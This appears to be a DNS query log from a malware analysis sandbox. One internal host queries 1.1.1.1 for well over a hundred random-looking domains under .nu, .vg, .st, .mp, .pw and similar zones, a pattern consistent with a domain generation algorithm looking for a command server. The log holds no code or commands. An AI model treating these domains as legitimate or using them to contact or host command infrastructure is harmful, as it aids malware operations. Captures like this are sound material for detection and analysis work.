Sep 7, 2024 15:29:39.110286951 CEST	192.168.2.7	1.1.1.1	0xb009	Standard query (0)	hwjgrdoadgakmq.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:39.223772049 CEST	192.168.2.7	1.1.1.1	0xd0d9	Standard query (0)	oggiisztg.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:39.235044956 CEST	192.168.2.7	1.1.1.1	0x7e43	Standard query (0)	oggiisztg.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:39.349041939 CEST	192.168.2.7	1.1.1.1	0xd6bb	Standard query (0)	hcaie.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:40.489641905 CEST	192.168.2.7	1.1.1.1	0xd775	Standard query (0)	fkejlam.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:40.764348030 CEST	192.168.2.7	1.1.1.1	0x7777	Standard query (0)	fkejlam.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:41.175013065 CEST	192.168.2.7	1.1.1.1	0xd0a1	Standard query (0)	xkrftiwzcwwokf.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:42.302000999 CEST	192.168.2.7	1.1.1.1	0xcbf4	Standard query (0)	aupdmfk.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:42.490535021 CEST	192.168.2.7	1.1.1.1	0x80d1	Standard query (0)	aupdmfk.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:42.614449024 CEST	192.168.2.7	1.1.1.1	0x83ab	Standard query (0)	efwumqtt.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:43.989382982 CEST	192.168.2.7	1.1.1.1	0xbc40	Standard query (0)	ckscocredcu.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:45.145539999 CEST	192.168.2.7	1.1.1.1	0xe53	Standard query (0)	mohud.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:45.164530039 CEST	192.168.2.7	1.1.1.1	0xea58	Standard query (0)	mohud.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:45.286236048 CEST	192.168.2.7	1.1.1.1	0xa8b	Standard query (0)	hmoomqmlqkqx.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:45.392582893 CEST	192.168.2.7	1.1.1.1	0x7045	Standard query (0)	hmoomqmlqkqx.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:45.848913908 CEST	192.168.2.7	1.1.1.1	0xc21	Standard query (0)	lzoikwc.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:45.866986990 CEST	192.168.2.7	1.1.1.1	0x2fd4	Standard query (0)	lzoikwc.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:45.989497900 CEST	192.168.2.7	1.1.1.1	0x8a1f	Standard query (0)	ywiwm.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:46.002892971 CEST	192.168.2.7	1.1.1.1	0x8713	Standard query (0)	ywiwm.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:46.130014896 CEST	192.168.2.7	1.1.1.1	0xa504	Standard query (0)	eyneeemqnedyw.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:46.324501038 CEST	192.168.2.7	1.1.1.1	0x8ceb	Standard query (0)	eyneeemqnedyw.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:46.630891085 CEST	192.168.2.7	1.1.1.1	0x5677	Standard query (0)	toeaskhykeip.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:46.902848959 CEST	192.168.2.7	1.1.1.1	0x29cc	Standard query (0)	toeaskhykeip.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:47.099520922 CEST	192.168.2.7	1.1.1.1	0x24d8	Standard query (0)	uzdeqso.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:47.267528057 CEST	192.168.2.7	1.1.1.1	0x295a	Standard query (0)	uzdeqso.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:47.536497116 CEST	192.168.2.7	1.1.1.1	0xeb74	Standard query (0)	egvaxg.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:47.580780029 CEST	192.168.2.7	1.1.1.1	0x5e7d	Standard query (0)	egvaxg.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:47.723968029 CEST	192.168.2.7	1.1.1.1	0xa42f	Standard query (0)	kgysamb.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:47.750284910 CEST	192.168.2.7	1.1.1.1	0xe4a	Standard query (0)	kgysamb.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:47.864622116 CEST	192.168.2.7	1.1.1.1	0xfcf4	Standard query (0)	ssmektag.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:47.970546007 CEST	192.168.2.7	1.1.1.1	0x39aa	Standard query (0)	ssmektag.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:48.317558050 CEST	192.168.2.7	1.1.1.1	0xb235	Standard query (0)	ogseqowiqwy.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:48.421967030 CEST	192.168.2.7	1.1.1.1	0x7849	Standard query (0)	ogseqowiqwy.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:48.759944916 CEST	192.168.2.7	1.1.1.1	0x93f5	Standard query (0)	paguuorpkmohc.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:48.799880981 CEST	192.168.2.7	1.1.1.1	0x16b4	Standard query (0)	paguuorpkmohc.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:48.943356991 CEST	192.168.2.7	1.1.1.1	0x3c7b	Standard query (0)	uimhy.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:49.044030905 CEST	192.168.2.7	1.1.1.1	0x4a14	Standard query (0)	uimhy.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:49.255134106 CEST	192.168.2.7	1.1.1.1	0x97b6	Standard query (0)	kaagdfi.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:49.266801119 CEST	192.168.2.7	1.1.1.1	0x6211	Standard query (0)	kaagdfi.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:49.380503893 CEST	192.168.2.7	1.1.1.1	0xefe7	Standard query (0)	nyilele.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:49.404021978 CEST	192.168.2.7	1.1.1.1	0x645e	Standard query (0)	nyilele.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:49.536264896 CEST	192.168.2.7	1.1.1.1	0x4a9	Standard query (0)	mskgqyoctwd.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:50.739305973 CEST	192.168.2.7	1.1.1.1	0x49f6	Standard query (0)	yakavstwqwwvc.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:51.989726067 CEST	192.168.2.7	1.1.1.1	0x2ebe	Standard query (0)	ooossqwuu.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:52.023711920 CEST	192.168.2.7	1.1.1.1	0x4f4a	Standard query (0)	ooossqwuu.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:52.165827990 CEST	192.168.2.7	1.1.1.1	0xacc2	Standard query (0)	qttvmgx.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:53.318114996 CEST	192.168.2.7	1.1.1.1	0x9586	Standard query (0)	sawngoffacq.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:53.355355978 CEST	192.168.2.7	1.1.1.1	0x3e3c	Standard query (0)	sawngoffacq.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:53.505021095 CEST	192.168.2.7	1.1.1.1	0x7978	Standard query (0)	zcgoasmfimwqby.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:53.516190052 CEST	192.168.2.7	1.1.1.1	0x9ea1	Standard query (0)	zcgoasmfimwqby.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:53.630861044 CEST	192.168.2.7	1.1.1.1	0xf86d	Standard query (0)	gwvegaoiytggw.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:53.976479053 CEST	192.168.2.7	1.1.1.1	0x62fd	Standard query (0)	gwvegaoiytggw.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:54.411490917 CEST	192.168.2.7	1.1.1.1	0x1ab7	Standard query (0)	wsyja.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:54.826750040 CEST	192.168.2.7	1.1.1.1	0xdc3a	Standard query (0)	wsyja.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:55.036447048 CEST	192.168.2.7	1.1.1.1	0x6696	Standard query (0)	umnafri.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:55.057557106 CEST	192.168.2.7	1.1.1.1	0x6da0	Standard query (0)	umnafri.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:55.208092928 CEST	192.168.2.7	1.1.1.1	0xd528	Standard query (0)	hsynq.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:55.222774029 CEST	192.168.2.7	1.1.1.1	0xd8f1	Standard query (0)	hsynq.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:55.349355936 CEST	192.168.2.7	1.1.1.1	0xd9f4	Standard query (0)	efmkaemaoto.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:55.366630077 CEST	192.168.2.7	1.1.1.1	0x5a44	Standard query (0)	efmkaemaoto.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:55.489629030 CEST	192.168.2.7	1.1.1.1	0x39eb	Standard query (0)	kmgvckzgwfk.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:55.831829071 CEST	192.168.2.7	1.1.1.1	0x2b63	Standard query (0)	kmgvckzgwfk.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:55.942648888 CEST	192.168.2.7	1.1.1.1	0xe6b6	Standard query (0)	psqsu.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:55.970577002 CEST	192.168.2.7	1.1.1.1	0x1881	Standard query (0)	psqsu.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:56.098726988 CEST	192.168.2.7	1.1.1.1	0x858e	Standard query (0)	uxidoccki.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:56.110059977 CEST	192.168.2.7	1.1.1.1	0x1ef1	Standard query (0)	uxidoccki.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:56.223797083 CEST	192.168.2.7	1.1.1.1	0x133e	Standard query (0)	ksscwxoaeo.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:56.235358000 CEST	192.168.2.7	1.1.1.1	0xeb7b	Standard query (0)	ksscwxoaeo.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:56.395677090 CEST	192.168.2.7	1.1.1.1	0x7da0	Standard query (0)	jjaewmsyl.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:56.434300900 CEST	192.168.2.7	1.1.1.1	0xd6d6	Standard query (0)	jjaewmsyl.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:56.583182096 CEST	192.168.2.7	1.1.1.1	0xbcfd	Standard query (0)	bioewwy.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:56.595969915 CEST	192.168.2.7	1.1.1.1	0xcd03	Standard query (0)	bioewwy.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:56.723793983 CEST	192.168.2.7	1.1.1.1	0xe702	Standard query (0)	eseenaaoq.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:57.043052912 CEST	192.168.2.7	1.1.1.1	0xb3b0	Standard query (0)	eseenaaoq.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:57.458358049 CEST	192.168.2.7	1.1.1.1	0x5758	Standard query (0)	geaqeywpeolvkd.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:57.469520092 CEST	192.168.2.7	1.1.1.1	0xce34	Standard query (0)	geaqeywpeolvkd.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:57.583369017 CEST	192.168.2.7	1.1.1.1	0xc515	Standard query (0)	ecmgzekzwqvl.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:57.688587904 CEST	192.168.2.7	1.1.1.1	0xd01b	Standard query (0)	ecmgzekzwqvl.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:58.286386013 CEST	192.168.2.7	1.1.1.1	0x8577	Standard query (0)	wzuks.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:58.299566984 CEST	192.168.2.7	1.1.1.1	0x8db2	Standard query (0)	wzuks.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:58.411345005 CEST	192.168.2.7	1.1.1.1	0x8104	Standard query (0)	odkfeza.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:58.446947098 CEST	192.168.2.7	1.1.1.1	0x8885	Standard query (0)	odkfeza.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:58.598771095 CEST	192.168.2.7	1.1.1.1	0xd81d	Standard query (0)	geyosiiktmh.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:59.576838017 CEST	192.168.2.7	1.1.1.1	0x4e98	Standard query (0)	geyosiiktmh.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:59.786340952 CEST	192.168.2.7	1.1.1.1	0xa050	Standard query (0)	ycqiwercz.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:59.799992085 CEST	192.168.2.7	1.1.1.1	0x2e27	Standard query (0)	ycqiwercz.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:59.926913977 CEST	192.168.2.7	1.1.1.1	0x16c7	Standard query (0)	kkicy.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:00.195255041 CEST	192.168.2.7	1.1.1.1	0x9c4b	Standard query (0)	kkicy.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:00.317542076 CEST	192.168.2.7	1.1.1.1	0xfec7	Standard query (0)	qriusvwcqkuwa.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:00.558351040 CEST	192.168.2.7	1.1.1.1	0x32cb	Standard query (0)	qriusvwcqkuwa.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:00.911238909 CEST	192.168.2.7	1.1.1.1	0x7142	Standard query (0)	htqweutnwe.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:01.015666008 CEST	192.168.2.7	1.1.1.1	0xdd1d	Standard query (0)	htqweutnwe.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:01.364345074 CEST	192.168.2.7	1.1.1.1	0x6e1c	Standard query (0)	yewqawydd.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:03.505208015 CEST	192.168.2.7	1.1.1.1	0x880e	Standard query (0)	owccrcwq.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:03.533832073 CEST	192.168.2.7	1.1.1.1	0xb0a2	Standard query (0)	owccrcwq.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:03.661242008 CEST	192.168.2.7	1.1.1.1	0x48c9	Standard query (0)	kmmwwihyq.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:04.787329912 CEST	192.168.2.7	1.1.1.1	0x25b4	Standard query (0)	xysmcmqwu.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:05.048017979 CEST	192.168.2.7	1.1.1.1	0x1f01	Standard query (0)	xysmcmqwu.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:05.661475897 CEST	192.168.2.7	1.1.1.1	0x490b	Standard query (0)	ciquymkpje.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:05.696516991 CEST	192.168.2.7	1.1.1.1	0xbfbb	Standard query (0)	ciquymkpje.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:05.848829985 CEST	192.168.2.7	1.1.1.1	0x87a5	Standard query (0)	fkjikj.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:06.627382994 CEST	192.168.2.7	1.1.1.1	0x7508	Standard query (0)	fkjikj.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:07.598922014 CEST	192.168.2.7	1.1.1.1	0x4672	Standard query (0)	ieiicvwgalgky.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:07.872354031 CEST	192.168.2.7	1.1.1.1	0x3939	Standard query (0)	ieiicvwgalgky.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:08.145936966 CEST	192.168.2.7	1.1.1.1	0x512b	Standard query (0)	egwcsxcam.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:09.161089897 CEST	192.168.2.7	1.1.1.1	0x512b	Standard query (0)	egwcsxcam.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:09.661108017 CEST	192.168.2.7	1.1.1.1	0xf122	Standard query (0)	egwcsxcam.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:09.864471912 CEST	192.168.2.7	1.1.1.1	0xb6c9	Standard query (0)	wuwwmjjecu.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:12.789369106 CEST	192.168.2.7	1.1.1.1	0x9ad3	Standard query (0)	ljsgjmawffh.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:12.831149101 CEST	192.168.2.7	1.1.1.1	0xa8ac	Standard query (0)	ljsgjmawffh.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:12.974308968 CEST	192.168.2.7	1.1.1.1	0x6183	Standard query (0)	aysqmuqgsloow.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:12.985438108 CEST	192.168.2.7	1.1.1.1	0x3324	Standard query (0)	aysqmuqgsloow.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:13.098885059 CEST	192.168.2.7	1.1.1.1	0xacaf	Standard query (0)	esibe.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:13.144844055 CEST	192.168.2.7	1.1.1.1	0x535d	Standard query (0)	esibe.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:13.286384106 CEST	192.168.2.7	1.1.1.1	0xc8ab	Standard query (0)	yumztuauwtgqzi.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:13.324176073 CEST	192.168.2.7	1.1.1.1	0x148	Standard query (0)	yumztuauwtgqzi.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:13.476815939 CEST	192.168.2.7	1.1.1.1	0xf706	Standard query (0)	gflaeo.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:13.490021944 CEST	192.168.2.7	1.1.1.1	0x291e	Standard query (0)	gflaeo.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:13.614281893 CEST	192.168.2.7	1.1.1.1	0x9c7d	Standard query (0)	teposqumcrg.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:14.770571947 CEST	192.168.2.7	1.1.1.1	0xfbab	Standard query (0)	seguyyo.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:14.886775017 CEST	192.168.2.7	1.1.1.1	0x13f7	Standard query (0)	seguyyo.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:15.240770102 CEST	192.168.2.7	1.1.1.1	0x9dd3	Standard query (0)	yeumevw.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:15.281163931 CEST	192.168.2.7	1.1.1.1	0xcfad	Standard query (0)	yeumevw.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:15.864590883 CEST	192.168.2.7	1.1.1.1	0xb6ec	Standard query (0)	dkmfogccm.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:15.876734018 CEST	192.168.2.7	1.1.1.1	0xf0a8	Standard query (0)	dkmfogccm.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:15.989639997 CEST	192.168.2.7	1.1.1.1	0x152e	Standard query (0)	vvzmawoi.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:16.695669889 CEST	192.168.2.7	1.1.1.1	0x4c27	Standard query (0)	vvzmawoi.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:16.895665884 CEST	192.168.2.7	1.1.1.1	0xe6a	Standard query (0)	geyoxtsrqqmiqw.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:18.083842993 CEST	192.168.2.7	1.1.1.1	0x45f8	Standard query (0)	usieuqieneogs.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:19.208720922 CEST	192.168.2.7	1.1.1.1	0xae43	Standard query (0)	wwegcgkvnudqq.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:19.229331970 CEST	192.168.2.7	1.1.1.1	0xea89	Standard query (0)	wwegcgkvnudqq.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:19.364595890 CEST	192.168.2.7	1.1.1.1	0xef4c	Standard query (0)	geskyisyg.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:19.406852961 CEST	192.168.2.7	1.1.1.1	0x8868	Standard query (0)	geskyisyg.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:19.520657063 CEST	192.168.2.7	1.1.1.1	0x1eea	Standard query (0)	hoyfegks.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:19.554121971 CEST	192.168.2.7	1.1.1.1	0xe231	Standard query (0)	hoyfegks.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:19.677270889 CEST	192.168.2.7	1.1.1.1	0x5939	Standard query (0)	wbipca.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:19.919414043 CEST	192.168.2.7	1.1.1.1	0xc1cc	Standard query (0)	wbipca.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:20.130086899 CEST	192.168.2.7	1.1.1.1	0x5471	Standard query (0)	osszxuqww.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:21.270842075 CEST	192.168.2.7	1.1.1.1	0x1aa8	Standard query (0)	wnqsxgiauligw.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:22.112556934 CEST	192.168.2.7	1.1.1.1	0xdd55	Standard query (0)	wnqsxgiauligw.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:22.317809105 CEST	192.168.2.7	1.1.1.1	0x868d	Standard query (0)	owmyyelny.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:22.422626019 CEST	192.168.2.7	1.1.1.1	0x41d7	Standard query (0)	owmyyelny.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:22.537317038 CEST	192.168.2.7	1.1.1.1	0x3c94	Standard query (0)	qqnuf.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:22.576658010 CEST	192.168.2.7	1.1.1.1	0xc4ad	Standard query (0)	qqnuf.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:22.723973036 CEST	192.168.2.7	1.1.1.1	0x1d96	Standard query (0)	wgovefhezuih.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:22.782269001 CEST	192.168.2.7	1.1.1.1	0x69d	Standard query (0)	wgovefhezuih.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:22.926928997 CEST	192.168.2.7	1.1.1.1	0xbf1d	Standard query (0)	gyqyabu.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:22.962826967 CEST	192.168.2.7	1.1.1.1	0x95a3	Standard query (0)	gyqyabu.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:23.085997105 CEST	192.168.2.7	1.1.1.1	0xed6f	Standard query (0)	jhmccyuqqpwais.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:23.100630999 CEST	192.168.2.7	1.1.1.1	0x61cd	Standard query (0)	jhmccyuqqpwais.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:23.224616051 CEST	192.168.2.7	1.1.1.1	0xc278	Standard query (0)	seynayvty.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:24.412635088 CEST	192.168.2.7	1.1.1.1	0xee0c	Standard query (0)	qrmbac.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:24.450625896 CEST	192.168.2.7	1.1.1.1	0x9548	Standard query (0)	qrmbac.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:24.583697081 CEST	192.168.2.7	1.1.1.1	0x30fe	Standard query (0)	yggwuumeqkm.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:24.617486954 CEST	192.168.2.7	1.1.1.1	0xc481	Standard query (0)	yggwuumeqkm.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:24.755743027 CEST	192.168.2.7	1.1.1.1	0xdf9c	Standard query (0)	maucnys.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:24.770045996 CEST	192.168.2.7	1.1.1.1	0xbbea	Standard query (0)	maucnys.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:24.895672083 CEST	192.168.2.7	1.1.1.1	0x1733	Standard query (0)	mycyhmmwzy.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:24.906614065 CEST	192.168.2.7	1.1.1.1	0x7344	Standard query (0)	mycyhmmwzy.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:25.021195889 CEST	192.168.2.7	1.1.1.1	0x7a50	Standard query (0)	wxaov.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:26.161252022 CEST	192.168.2.7	1.1.1.1	0x436a	Standard query (0)	wppmkeygkekq.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:27.302303076 CEST	192.168.2.7	1.1.1.1	0xada0	Standard query (0)	uhisyeewjbyym.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:27.408231974 CEST	192.168.2.7	1.1.1.1	0xc5d9	Standard query (0)	uhisyeewjbyym.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:27.521094084 CEST	192.168.2.7	1.1.1.1	0x50d8	Standard query (0)	mrpcjmcshkf.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:28.661911011 CEST	192.168.2.7	1.1.1.1	0xe55f	Standard query (0)	qcqoyjyhi.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:28.926270008 CEST	192.168.2.7	1.1.1.1	0x504a	Standard query (0)	qcqoyjyhi.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:29.086133003 CEST	192.168.2.7	1.1.1.1	0x7f1d	Standard query (0)	aptoyuwucdg.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:29.099706888 CEST	192.168.2.7	1.1.1.1	0x7339	Standard query (0)	aptoyuwucdg.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:29.224013090 CEST	192.168.2.7	1.1.1.1	0xc92f	Standard query (0)	swjmmsuyswk.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:29.235910892 CEST	192.168.2.7	1.1.1.1	0x2139	Standard query (0)	swjmmsuyswk.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:29.365093946 CEST	192.168.2.7	1.1.1.1	0xceaf	Standard query (0)	mbcdtw.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:29.607785940 CEST	192.168.2.7	1.1.1.1	0xa7cd	Standard query (0)	mbcdtw.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:29.960613012 CEST	192.168.2.7	1.1.1.1	0x4783	Standard query (0)	kpows.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:30.226032019 CEST	192.168.2.7	1.1.1.1	0xcbaa	Standard query (0)	kpows.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:30.397269011 CEST	192.168.2.7	1.1.1.1	0x68f8	Standard query (0)	vwokiiyvu.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:30.674571037 CEST	192.168.2.7	1.1.1.1	0x7cf3	Standard query (0)	vwokiiyvu.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:30.833125114 CEST	192.168.2.7	1.1.1.1	0xa219	Standard query (0)	smmjqoel.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:32.023303986 CEST	192.168.2.7	1.1.1.1	0x4f3e	Standard query (0)	mxrcu.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:33.208690882 CEST	192.168.2.7	1.1.1.1	0x80b0	Standard query (0)	dvoyopwgmvd.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:33.317290068 CEST	192.168.2.7	1.1.1.1	0x6fe5	Standard query (0)	dvoyopwgmvd.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:34.926973104 CEST	192.168.2.7	1.1.1.1	0xb83b	Standard query (0)	ioycjeu.mp	A (IP address)	IN (0x0001)	false
